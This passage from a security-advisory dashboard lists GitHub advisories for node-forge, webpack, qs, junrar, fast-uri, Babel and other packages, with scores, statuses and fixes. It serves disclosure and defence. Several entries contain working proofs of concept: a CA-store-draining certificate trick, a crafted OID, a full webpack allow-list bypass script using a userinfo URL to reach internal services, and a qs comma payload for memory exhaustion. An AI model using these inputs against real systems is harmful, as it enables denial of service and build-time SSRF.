(SSRF behavior), cause content from outside the allow-list to be bundled into build outputs, and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration. | |
| 3.7CVSS 3.1 | GHSA-4487-j8r4-4g2f | In triage | 2026-10-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary When a CA store created by `pki.createCaStore()` holds two or more certificates with the same subject name, `pki.verifyCertificateChain()` permanently removes those certificates from the store while trying each one as the issuer. A peer can send any certificate that names that subject as its issuer to make all later verifications against those CA certificates fail. Fixed in node-forge 1.4.1. ### Details `pki.verifyCertificateChain()` (`lib/x509.js`) asks the CA store for the issuer of each certificate with `caStore.getIssuer()`. When the store holds several certificates with the same subject, `caStore.getIssuer()` returns the store's own internal array of those certificates (`caStore.certs[hash]`, built by `addCertificate()`). `verifyCertificateChain()` used that array directly as its list of candidate parents and called `parents.shift()` on it while trying each candidate. Every candidate it tried, including the one that finally verified the certificate, was removed from the store. Once the array is empty, `getIssuer()` returns an empty list, no candidate is tried, and verification fails with "Certificate signature is invalid." `hasCertificate()` and `listAllCertificates()` no longer see the removed certificates. The store stays in this state for as long as the object is used. The attacker's certificate only needs an issuer name equal to the shared subject name, which is public. Its signature and key can be arbitrary: every candidate is tried and shifted out because none verifies, and errors from `parent.verify()` are caught by the loop. Verification of the attacker's chain fails as expected. Verifying valid chains has a similar effect: the CA certificate that verified the chain and any tried before it are removed. No chain is accepted that should be rejected. Removing candidates can only turn a success into a failure. RFC 5280, Section 6.1.1(d) treats trust anchor information as an input to path validation. Validation should not consume it. The fix copies the array returned by `getIssuer()` before iterating over it, so the CA store is no longer modified. `getIssuer()` itself is unchanged. ### Patches Fixed in node-forge 1.4.1. `pki.verifyCertificateChain()` now works on a copy of the candidate issuer list instead of shifting entries out of the CA store. ### Workarounds - Pass a fresh CA store to each `pki.verifyCertificateChain()` call (for example `pki.createCaStore(trustedCerts)`), or pass `caStore` to `forge.tls.createConnection()` as an array of certificates instead of a store object, so that forge creates a new store per connection. - Or wrap the store so that `getIssuer()` returns a copy: var getIssuer = caStore.getIssuer; caStore.getIssuer = function(cert) { var r = getIssuer(cert); return Array.isArray(r) ? r.slice() : r; }; ### Proof of concept Two trusted self-signed CA certificates, `rootA` and `rootB`, share the subject `CN=Root`. `bogus` is any certificate whose issuer is `CN=Root`, signed with an unrelated key. `leafA` is a valid certificate issued by `rootA`. var caStore = forge.pki.createCaStore([rootA, rootB]); caStore.listAllCertificates().length; // 2 try { forge.pki.verifyCertificateChain(caStore, [bogus]); } catch(e) {} // rejected as expected ("Certificate signature is invalid.") caStore.listAllCertificates().length; // 0: both CA certificates are gone forge.pki.verifyCertificateChain(caStore, [leafA]); // throws "Certificate signature is invalid." (valid chain now rejected) Without the attacker certificate, verifying `leafA` twice against a fresh store gives the same result: the first call succeeds and removes `rootA`, the second fails. With the fix, the store keeps both certificates and every valid chain verifies. The regression tests are in `tests/unit/x509.js` ("CA store" section). ### Impact Applications that keep a long-lived CA store holding several trusted certificates with the same subject name, and that verify certificate chains received from other parties with `pki.verifyCertificateChain()`. This includes `forge.tls` clients that pass the same `caStore` object to several connections. Duplicate subject names occur with re-keyed or renewed CAs that kept their name, or a CA next to a cross-signed version of itself, mostly in private PKIs. A remote, unauthenticated peer (for example a malicious TLS server or a party submitting a signed document) can send a certificate naming the shared subject as its issuer. This removes every certificate with that subject from the store, so later verifications of valid chains issued by those CA certificates fail until the store is recreated. This is a persistent denial of service for certificate verification against those CA certificates. Verification against other trusted CAs keeps working, no invalid chain is accepted, and stores without duplicate subject names are not affected. | |
| 3.7CVSS 3.1 | GHSA-4642-5mcj-2rqw | In triage | 2026-10-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `asn1.oidToDer()` did not range-check the first two arcs of an OID string, so an OID such as `0.42.840.113549.1.1.1` or `4294977127.18.840.113549.1.1.1` was encoded as the DER of a different OID (here rsaEncryption, `1.2.840.113549.1.1.1`). This is an incomplete fix of CVE-2025-66030. Fixed in node-forge 1.4.1. ### Details X.690 section 8.19 encodes the first two arcs of an OID as one subidentifier, `40 * arc1 + arc2`, where the first arc is 0, 1 or 2 and the second arc is at most 39 when the first is 0 or 1. `asn1.oidToDer()` in `lib/asn1.js` computed that value with no range check and wrote it with `putByte()`, which keeps only the low 16 bits. Out-of-range first arcs therefore produced the encoding of a different OID: `0.42.840.113549.1.1.1` gives `40 * 0 + 42 = 42` and `4294977127.18.840.113549.1.1.1` wraps to 42, both the first byte of rsaEncryption. The fix for CVE-2025-66030 (GHSA-65ch-62r8-g69g, node-forge 1.3.2) added a 32-bit check for the later arcs only. A related encoding bug made valid OIDs with a first subidentifier above 127 (`2.48` and higher, e.g. `2.999`) encode and decode incorrectly, because the first subidentifier was always written and read as a single byte. The fix rejects out-of-range first arcs and encodes and decodes the first subidentifier in base 128 like the others (the latter from public PR #1148). ### Patches Fixed in node-forge 1.4.1. `asn1.oidToDer()` throws for OIDs with out-of-range first arcs, and the first subidentifier is encoded and decoded correctly. ### Workarounds Validate OID strings from untrusted input before passing them to node-forge: the first arc must be 0, 1 or 2, and the second arc at most 39 when the first arc is 0 or 1. ### Credits Reported by wzc. The first subidentifier encoding fix is from PR #1148 by @spokodev. ### Proof of concept var forge = require('node-forge'); var der = forge.asn1.oidToDer('0.42.840.113549.1.1.1'); console.log(der.toHex()); // 2a864886f70d010101 console.log(forge.asn1.derToOid(der)); // 1.2.840.113549.1.1.1 On 1.4.0 the out-of-range OID string encodes to exactly the DER of rsaEncryption (the same happens with `4294977127.18.840.113549.1.1.1`). On 1.4.1 `oidToDer()` throws "Invalid OID; the first two arcs are out of range.". Regression tests are in tests/unit/asn1.js ("should reject OIDs with out of range first arcs"). ### Impact Applications that accept OID strings from untrusted input, check or authorize them as strings, and then encode them with node-forge (for example when building certificates, CSRs or other ASN.1 structures from user-supplied extension or attribute OIDs) can be made to emit a different, trusted OID than the one that was checked. Parsing DER is not affected. There is no confidentiality or availability impact. | |
| 3.7CVSS 3.1 | GHSA-89m4-43j5-vhhx
CVE-2026-86071 |
Resolved | 2026-09-17 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ## Summary `LocalFolderExtractor` validates only the final canonical file path before extraction. However, `makeFile()` creates intermediate directories one path segment at a time without checking whether each created directory remains inside the destination folder. A malicious RAR entry can make the final file path resolve inside the extraction destination, while causing intermediate `mkdir()` calls to create attacker-chosen directories outside the extraction root. This is an extraction root escape via unchecked intermediate directory creation. The default impact is directory creation outside the intended destination, not unconditional arbitrary file content write. ## Affected Code - `src/main/java/com/github/junrar/LocalFolderExtractor.java` - `createFile()` checks only the final canonical path. - `makeFile()` calls `dir.mkdir()` for each intermediate segment without containment checks. Relevant code flow: ```java private File createFile(final FileHeader fh, final File destination) throws IOException { String name = invariantSeparatorsPathString(fh.getFileName()); File f = new File(destination, name); String dirCanonPath = f.getCanonicalPath(); if (!dirCanonPath.startsWith(destination.getCanonicalPath() + File.separator)) { throw new IllegalStateException(...); } if (!f.exists()) { f = makeFile(destination, name); } return f; } private File makeFile(final File destination, final String name) throws IOException { final String[] dirs = name.split("/"); String path = ""; for (int i = 0; i < dirs.length - 1; i++) { path = path + File.separator + dirs[i]; File dir = new File(destination, path); dir.mkdir(); } path = path + File.separator + dirs[dirs.length - 1]; final File f = new File(destination, path); f.createNewFile(); return f; } ``` ## Impact An attacker who can supply a malicious RAR archive can create directories outside the intended extraction directory. This violates the expected extraction boundary and can be used for filesystem pollution or file-vs-directory squatting. For example, an attacker can create a directory at a path where a later security-sensitive file is expected, causing future writes to that path to fail. | |
| 3.7CVSS 3.1 | GHSA-8fgc-7cc6-rx7x
CVE-2025-68458 |
False positive | 2026-02-05 | 5.6 ×95.5 ×205.4 ×14 | ### Summary When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) can be bypassed to fetch resources from **hosts outside `allowedUris`** by using crafted URLs that include **userinfo** (`username:password@host`). If `allowedUris` enforcement relies on a **raw string prefix check** (e.g., `uri.startsWith(allowed)`), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (outbound requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion** (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache. Reproduced on: - webpack version: **5.104.0** - Node version: **v18.19.1** ### Details **Root cause (high level):** `allowedUris` validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., `new URL(uri)`), which interprets the **authority** as the part after `@`. Example crafted URL: - `http://127.0.0.1:9000@127.0.0.1:9100/secret.js` If the allow-list is `["http://127.0.0.1:9000"]`, then: - Raw string check: `crafted.startsWith("http://127.0.0.1:9000")` → **true** - URL parsing (WHAT `new URL()` will contact): `origin` → `http://127.0.0.1:9100` (host/port after `@`) As a result, webpack fetches `http://127.0.0.1:9100/secret.js` even though `allowedUris` only included `http://127.0.0.1:9000`. **Evidence from reproduction:** - Server logs showed the internal-only endpoint being fetched: - `[internal] 200 /secret.js served (...)` (observed multiple times) - Attacker-side build output showed: - the internal secret marker was present in the **bundle** - the internal secret marker was present in the **buildHttp cache** <img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" /> ### PoC This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely. #### 1) Setup ```bash mkdir split-userinfo-poc && cd split-userinfo-poc npm init -y npm i -D webpack webpack-cli ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const http = require("http"); const ALLOWED_PORT = 9000; // allowlisted-looking host const INTERNAL_PORT = 9100; // actual target if bypass succeeds const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`; const internalPayload = `// internal-only\n` + `export const secret = ${JSON.stringify(secret)};\n` + `export default "ok";\n`; function listen(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); } (async () => { // "Allowed" host (should NOT be contacted if bypass works as intended) await listen(ALLOWED_PORT, (req, res) => { console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`); }); // Internal-only service (SSRF-like target) await listen(INTERNAL_PORT, (req, res) => { if (req.url === "/secret.js") { console.log(`[internal] 200 /secret.js served (secret=${secret})`); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); return; } console.log(`[internal] 404 ${req.method} ${req.url}`); res.statusCode = 404; res.end("not found"); }); console.log("\nServers up:"); console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`); console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`); })(); ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack"); function fmtBool(b) { return b ? "✅" : "❌"; } async function walk(dir) { const out = []; let items; try { items = await fs.readdir(dir, { withFileTypes: true }); } catch { return out; } for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; } async function fileContains(f, needle) { try { const buf = await fs.readFile(f); const s1 = buf.toString("utf8"); if (s1.includes(needle)) return true; const s2 = buf.toString("latin1"); return s2.includes(needle); } catch { return false; } } (async () => { const webpackVersion = require("webpack/package.json").version; const ALLOWED_PORT = 9000; const INTERNAL_PORT = 9100; // NOTE: allowlist is intentionally specified without a trailing slash // to demonstrate the risk of raw string prefix checks. const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`; // Crafted URL using userinfo so that: // - The string begins with allowedUri // - The actual authority (host:port) after '@' is INTERNAL_PORT const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`; const parsed = new URL(crafted); const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js"); await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true }); await fs.writeFile( path.join(srcDir, "index.js"), `import { secret } from ${JSON.stringify(crafted)}; console.log("LEAKED_SECRET:", secret); export default secret; ` ); const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedUri], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } }; console.log("\n[ENV]"); console.log(`- webpack version: ${webpackVersion}`); console.log(`- node version: ${process.version}`); console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`); console.log("\n[CRAFTED URL]"); console.log(`- import specifier: ${crafted}`); console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`); console.log(`- WHAT URL() parses:`); console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`); console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`); console.log(` - hostname: ${parsed.hostname}`); console.log(` - port: ${parsed.port}`); console.log(` - origin: ${parsed.origin}`); console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`); const compiler = webpack(config); compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true }); if (stats.hasErrors()) { console.error("\n[WEBPACK ERRORS]"); console.error(info.errors); process.exitCode = 1; return; } const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i); const foundSecret = m ? m[0] : null; console.log("\n[RESULT]"); console.log(`- temp dir: ${tmp}`); console.log(`- bundle: ${bundlePath}`); console.log(`- lockfile: ${lockfile}`); console.log(`- cacheDir: ${cacheDir}`); console.log("\n[SECURITY CHECK]"); console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`); if (foundSecret) { const lockHit = await fileContains(lockfile, foundSecret); const cacheFiles = await walk(cacheDir); let cacheHit = false; for (const f of cacheFiles) { if (await fileContains(f, foundSecret)) { cacheHit = true; break; } } console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`); console.log(`- cache contains secret: ${fmtBool(cacheHit)}`); } } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })(); ``` #### 4) Run Terminal A: ```bash node server.js ``` Terminal B: ```bash node attacker.js ``` #### 5) Expected vs Actual Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed). Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache. ### Impact Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs. Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination. | |
| 3.7CVSS 3.1 | GHSA-mfj3-87qq-382v
CVE-2026-107283 |
Resolved | 2026-10-08 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Impact The client nonce used in HTTP Digest authentication was generated from ThreadLocalRandom, a fast but non-cryptographic pseudorandom number generator. RFC 7616 section 3.3 requires the cnonce to be unpredictable, since it is part of what protects the Digest exchange against chosen-plaintext and precomputation attacks on the credentials. An attacker able to observe or influence enough of the generator's output could reduce the unpredictability the protocol depends on. NTLM (and, on the 3.x line, SCRAM) in this client already use SecureRandom for their own nonces; Digest did not. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The cnonce is now generated with SecureRandom, matching the other authentication schemes in the client. ### Workarounds None available from application code. ### Details Realm.Builder's cnonce generation seeded its bytes from ThreadLocalRandom.current() rather than a SecureRandom instance. | |
| 3.7CVSS 3.1 | GHSA-v422-hmwv-36x6
CVE-2026-12590 |
Resolved | 2026-07-20 | 5.6 ×95.5 ×205.4 ×14 | ### Impact When body-parser is configured with an invalid `limit` option value, such as an unparseable string or `NaN`, `bytes.parse()` returns `null` and the request body size check is silently skipped. Applications that rely on `limit` as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service. This issue affects applications that pass a programmatically computed or user-configurable value to the `limit` option without validating it first. ### Patches This issue is fixed in [body-parser@2.3.0](https://github.com/expressjs/body-parser/releases/tag/v2.3.0) and [body-parser@1.20.6](https://github.com/expressjs/body-parser/releases/tag/v1.20.6) via [#698](https://github.com/expressjs/body-parser/pull/698). After the fix, invalid `limit` values throw a clear error at parser construction time instead of silently disabling enforcement. `null` and `undefined` continue to fall back to the default limit (`100kb`). ### Workarounds Validate `limit` before passing it to body-parser. For example, parse the value with [`bytes.parse()`](https://github.com/visionmedia/bytes.js) at startup and reject any configuration where it returns `null` or a non-finite number. ### References - [#698](https://github.com/expressjs/body-parser/pull/698): fix PR - [bytes.js](https://github.com/visionmedia/bytes.js): limit parser | |
| 3.7CVSS 3.1 | GHSA-w7fw-mjwx-w883
CVE-2026-2391 |
False positive | 2026-02-12 | 5.6 ×95.5 ×205.4 ×14 | ### Summary The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284). ### Details When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation. **Vulnerable code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p). ### PoC **Test 1 - Basic bypass:** ``` npm install qs ``` ```js const qs = require('qs'); const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true }; try { const result = qs.parse(payload, options); console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) { console.log('Limit enforced:', e.message); // Not thrown } ``` **Configuration:** - `comma: true` - `arrayLimit: 5` - `throwOnLimitExceeded: true` Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26. ### Impact Denial of Service (DoS) via memory exhaustion. ### Suggested Fix Move the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes. **Current code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` **Fixed code:** ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { const splitArray = val.split(','); if (splitArray.length > options.arrayLimit - currentArrayLength) { // Check against remaining limit if (options.throwOnLimitExceeded) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } else { // Optionally convert to object or truncate, per README return splitArray.slice(0, options.arrayLimit - currentArrayLength); } } return splitArray; } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` This aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement. | |
| 3.7CVSS 3.1 | GHSA-xhq7-xmqj-769h | Resolved | 2026-10-23 | 5.6 ×95.5 ×205.4 ×14 | ### Impact `fast-uri`'s `normalize()` and `serialize()` apply RFC 3986 dot-segment removal (`remove_dot_segments`) to the path of a relative-path reference. RFC 3986 section 5.2.4 defines that algorithm only for the merged target path during resolution, not for the reference itself, so applied to the reference it drops leading `..` segments and can turn a document-relative reference into a root-relative one. For example, `normalize('a/../b')` returns `/b` and `normalize('../x')` returns `x`, so `resolve(base, normalize(ref))` points at a different resource than `resolve(base, ref)`, and `equal()` treats distinct references as the same. Applications that normalize attacker-supplied or user-supplied relative references and then resolve them, or use them as cache, deduplication, or authorization keys, can have a reference escape its intended directory and point at a different resource. ### Patches Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`. ### Workarounds Do not normalize a relative reference before resolving it. Resolve it against the absolute base first, then normalize the absolute result. | |
| 3.6CVSS 3.1 | CVE-2026-49356
GHSA-4x5r-pxfx-6jf8 |
In triage | 2026-06-22 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Babel is a compiler for writing next generation JavaScript. Prior to 8.0.0-rc.6 and 7.29.6, @babel/core affected by an arbitrary file read via a sourceMappingURL comment. Using @babel/core to compile maliciously crafted code can allow an attacker to read any source map from the system that is running Babel, if the attacker controls the input source code, can read the output source code, and knows the path of the source map file that they want to read. This vulnerability is fixed in 8.0.0-rc.6 and 7.29.6. | |
| 3.4CVSS 3.1 | CVE-2025-7339
GHSA-76c9-3jph-rj3q |
False positive | 2025-07-17 | 5.6 ×95.5 ×205.4 ×14 | on-headers is a node.js middleware for listening to when a response writes headers. A bug in on-headers versions `<1.1.0` may result in response headers being inadvertently modified when an array is passed to `response.writeHead()`. Users should upgrade to version 1.1.0 to receive a patch. Uses are strongly encouraged to upgrade to `1.1.0`, but this issue can be worked around by passing an object to `response.writeHead()` rather than an array. | |
| 3.4CVSS 3.1 | GHSA-76c9-3jph-rj3q
CVE-2025-7339 |
False positive | 2025-07-17 | 5.6 ×95.5 ×205.4 ×14 | ### Impact A bug in on-headers versions `< 1.1.0` may result in response headers being inadvertently modified when an array is passed to `response.writeHead()` ### Patches Users should upgrade to `1.1.0` ### Workarounds Uses are encouraged to upgrade to `1.1.0`, but this issue can be worked around by passing an object to `response.writeHead()` rather than an array. | |
| 3.3CVSS 3.1 | CVE-2026-21727
|
Resolved | 2026-04-15 | 5.6 ×95.5 ×205.4 ×14 | A cross-tenant isolation vulnerability was found in Grafana’s Correlations feature affecting legacy correlation records. Due to a backward compatibility condition allowing org_id = 0 records to be returned across organizations, a user with datasource management privileges could read and permanently delete legacy correlation data belonging to another organization. This issue affects correlations created prior to Grafana 10.2 and is fixed in >=11.6.11, >=12.0.9, >=12.1.6, and >=12.2.4. Thanks to Gyu-hyeok Lee (g2h) for reporting this vulnerability. | |
| 3.2CVSS 3.1 | GHSA-4x5r-pxfx-6jf8
CVE-2026-49356 |
In triage | 2026-06-15 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Impact Using `@babel/core` to compile maliciously crafted code can allow ab attacker to read any source map from the system that is running Babel, if these conditions are _all_ true: - the attacker controls the input source code - the attacker can read the output source code - the attacker knows the path of the source map file that they want to read **Users that only compile trusted code are not impacted.** ## Patches The vulnerability has been fixed in `@babel/core@7.29.6` and `@babel/core@8.0.0-rc.6`. ## Workarounds Callers can mitigate the issue without upgrading by setting [`inputSourceMap: false`](https://babeljs.io/docs/options#inputsourcemap) in their Babel options. Callers can also manually extract the `#sourceMappingURL` comment from the input source code, validate whether the source map that it links to is allowed to be read, and if it is pass an object to `inputSourceMap` (passing `false` when it's not). ## Credits Thanks Teodor-Cristian Radoi for reporting the vulnerability. |